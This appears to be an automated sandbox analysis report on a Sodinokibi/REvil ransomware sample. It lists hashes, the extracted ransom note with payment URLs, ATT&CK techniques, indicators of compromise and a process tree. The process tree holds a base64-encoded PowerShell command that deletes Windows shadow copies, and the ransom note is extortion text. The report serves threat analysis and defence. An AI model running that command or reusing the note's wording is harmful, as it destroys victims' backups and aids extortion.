sodinokibi | 12bb06bc5da9d7f24634bb37a809ad69896c2eb47b7957846124fe09fbf573bf

General

Target

12bb06bc5da9d7f24634bb37a809ad69896c2eb47b7957846124fe09fbf573bf.dll
Size

164KB
MD5

b4fe61c29e23014fdab44ad0d8df1d2d
SHA1

2b76199d726a16d3c25d74b3562fa3bdf4bd3d52
SHA256

12bb06bc5da9d7f24634bb37a809ad69896c2eb47b7957846124fe09fbf573bf
SHA512

e54d0113f866a210371f49c4d79f844259cbc58bfbd198a16c7d7ce223d18ad0ba6f5c1cf9b93629b97f8062ef4955e9bdce7ea53256029de1a93c88bc382acf

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\z63wvyk-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension z63wvyk. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/AAA8E56BDA1A76E9 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/AAA8E56BDA1A76E9 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 49X0FsJqycqaFIhcdtgy3f4hDx2GGLSDVdjq0Jtqr+J+Yk7OL8vSOMyLSsiGjcKU x8xLSaQCwkYMKXWP6YBN0GUI1AY+7PakdVJ4Zy8CF2W6faq9wJiXjoQzEGAFaTk0 9lWIEjsbomZn/GQHgij8sltDuL4eURGsPqTDXUbeqC5eg7Lv/0BC5Exj4K9h7cd5 VGhgD6caKA8dcGntAZ4a8/yU26B7U8KuImldizkt8wiFcGmyqOnm/8vYwMdlksJ6 Mv2/zghns5QSfZLs0lMjY1XPt14iIVr4wh0Qkf8CL2dbksmeSXgiIhsTiS6Xdmxd +cX1vK0b54oH1AnuwYVl875sNZ76AG2SmKUCwhNIKfbs48mSlTG/AIC6xyiixtIX /jSLSH/KinHdyi9JK7wJdFxWrxfje3LbpRvWy0Ez5jI8qfT5yeWvzmJIvEM3mfQx Is2B1l3PSBwj1IHN0Pj/h9BIP34FdFcIlVrXnp+EHHWdm7HKfAwCijoZykk9dlzd WuG7F60I86DpDnKMruBmsHO+wk1BNeOGYcMDkPuTQ8pI8xugLSy0PWfxa8FSVOwL gzqDFF5XPGJe2hYarP04Q1CEKG4pwePFtcM5HNM36M5osjSweNJz77yvH5LhM3k8 D0jEkK5cKVzc1au9ZJjFJEHdgdKvBtXGcGfaSTbBocwhl6GEwaUkUTP74Hcpr9fT U+ZTSaV1glaifGONcVjDOJClfbe28vUN/hDEMFOVj3O7J6CqcawHxP1cY2Hep4ZK iyRP6eKiC2S4Uo+IVCLzcor9q0JxQ7yU18kSj62J7im2OAkSaZoBAo8j+p1u71wa o7AsiTlch09ZXcGe7WdGEv2hQyfH6GPLV4B50BVXLwLFXKaBUQ729AuybfPBaB/M xXYb6tmZuudlG74LW7QW8LpKG2gmAs1JH4svDBL2OkRCZXW0co7hXn7fxHR4hxrA j57of5nR97YrVaib4XCCC+I311abV5S7ohA//7MHxdL5hMmDL+ehb46cX9SDJ6LC Lt1O690mFTDF9Oqvwz/ICHpphUvFHwgUTnZNDmpsVlVkzMxJVlm+sNa5I1KIJhZG kOe2nz229iSPtW7+OlwHoMkR6CkmQ8gojDriKCPUqb9JHkf/KgcMehQhycBz58la hlepw1QsDkAqd/oD Extension name: z63wvyk ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/AAA8E56BDA1A76E9

http://decryptor.top/AAA8E56BDA1A76E9

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe

Drops file in Program Files directory 2 IoCs

Processes:

rundll32.exe

description	ioc	process
File created	\??\c:\program files\z63wvyk-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\z63wvyk-readme.txt	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2200 rundll32.exe
2200 rundll32.exe
4600 powershell.exe
4600 powershell.exe

pid	process
2200	rundll32.exe
2200	rundll32.exe
4600	powershell.exe
4600	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeBackupPrivilege	4684	vssvc.exe
Token: SeRestorePrivilege	4684	vssvc.exe
Token: SeAuditPrivilege	4684	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 3928 wrote to memory of 2200	3928	rundll32.exe	rundll32.exe
PID 3928 wrote to memory of 2200	3928	rundll32.exe	rundll32.exe
PID 3928 wrote to memory of 2200	3928	rundll32.exe	rundll32.exe
PID 2200 wrote to memory of 4600	2200	rundll32.exe	powershell.exe
PID 2200 wrote to memory of 4600	2200	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\12bb06bc5da9d7f24634bb37a809ad69896c2eb47b7957846124fe09fbf573bf.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3928

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\12bb06bc5da9d7f24634bb37a809ad69896c2eb47b7957846124fe09fbf573bf.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4600

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2808

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4684

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2200-130-0x0000000000000000-mapping.dmp

Download
memory/4600-131-0x0000000000000000-mapping.dmp

Download
memory/4600-132-0x000001E945CF0000-0x000001E945D12000-memory.dmp

Filesize
136KB

Download
memory/4600-133-0x00007FFEFD270000-0x00007FFEFDD31000-memory.dmp

Filesize
10.8MB

Download
memory/4600-134-0x00007FFEFD270000-0x00007FFEFDD31000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads